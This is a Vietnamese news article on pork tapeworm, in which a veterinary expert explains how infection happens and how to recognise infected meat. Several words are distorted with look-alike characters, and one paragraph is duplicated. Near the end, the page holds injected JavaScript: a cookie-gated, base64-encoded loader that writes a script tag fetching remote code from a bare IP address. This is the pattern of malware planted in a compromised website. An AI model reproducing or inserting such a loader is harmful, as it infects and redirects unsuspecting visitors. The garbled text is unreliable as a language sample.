Chuyên gia Viện Thú y mách cách phát hiện sán lợn trong thịt

Chiều nay (18/3), Dân Việt đã trao đổi với TS Nguyễn Thị Lan Anh, Trưởng Bộ môn Ký sinh trùng, Viện Thú y về bệnh sán lợn, mức độ ɴġυʏ ʜıểм của bệnh này đối với con người, cách phân biệt Th.ị t lợn nhiễm sán để phụ huynh tránh

Dấu hiệu sán lợn

Trao đổi về bệnh sán lợn, TS Nguyễn Thị Lan A. n h, Trưởng Bộ môn Ký sinh trùng, Viện Thú y cho biết, nguyên nhân trực tiếp dẫn đến nhiễm ấu trùng sán gạo lợn là do ăn Th.ị t lợn chưa nấu chín kỹ. Trứng của sán gạo lợn có thể tồn tại từ 2-3 tháng trong môi trường tự nhiên. Đây là bệnh lây truyền từ lợn sang người, con người có thể bị nhiễm bệnh từ ấu trùng sán lợn hoặc từ sán trưởng thành.

Nguyên nhân trực tiếp dẫn đến nhiễm ấu trùng sán gạo lợn là do ăn Th.ị t lợn chưa nấu chín kỹ. Ảnh: IT

Với ấu trùng sán lợn, nguyên nhân do người ăn phải trứng sán dây lợn nhiễm trong thức ăn. Sau khi ăn hay nuốt phải trứng sán, trứng vào dạ dày, nở ra ấu trùng, đến ruột non, ấu trùng xuyên qua thành ống tiêu hóa vào Mάυ và di chuyển đến ký sinh tại các cơ vân, não, mắt,…

Trong trường hợp người bệnh có sán trưởng thành trong ruột, khi đốt sán già rụng, có thể đốt sán bị trào ngược lên dạ dày do phản ứng của nhu động ruột, như vậy sẽ tương tự như ăn phải đốt sán mới, do đó số lượng ấu trùng sẽ rất lớn.

Khi mua Th.ị t về, nếu nhận thấy Th.ị t có những đốm trắng to bằng đầu kim thì đó chính là Th.ị t đã bị nhiễm giun xoắn. Đồng thời, nếu nhận thấy trong thớ Th.ị t có hình sợi hoặc hình bầu dục to bằng hạt gạo, màu trắng hoặc ngà ngà xám nằm song song với thớ Th.ị t thì đó là Th.ị t đã bị nhiễm sán. Ảnh: IT

Để người tiêu dùng có thể phân biệt được Th.ị t lợn có nhiễm sán hay không, TS Nguyễn Thị Lan A. n h cho rằng, hãy nhìn vào những cơ vận động nhiều như cơ gốc lưỡi, phần Th.ị t cơ đùi. Nếu phát hiện thấy có những hạt như hạt gạo nếp màu trắng, đó chính là ấu trùng sán và nó thường tập trung thành từng bọc trong Th.ị t. Thậm chí nếu mật độ giun sán nhiều, khi cắt trứng ấu trùng sẽ rớt ra bên ngoài. Vì vậy, người tiêu dùng hãy quan Sát thật kĩ lúc mua.

Khi mua Th.ị t về, nếu nhận thấy Th.ị t có những đốm trắng to bằng đầu kim thì đó chính là Th.ị t đã bị nhiễm giun xoắn. Đồng thời, nếu nhận thấy trong thớ Th.ị t có hình sợi hoặc hình bầu dục to bằng hạt gạo, màu trắng hoặc ngà ngà xám nằm song song với thớ Th.ị t thì đó là Th.ị t đã bị nhiễm sán.



#(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Leave a Reply

Your email address will not be published. Required fields are marked *

This carousel is empty, please add some logos.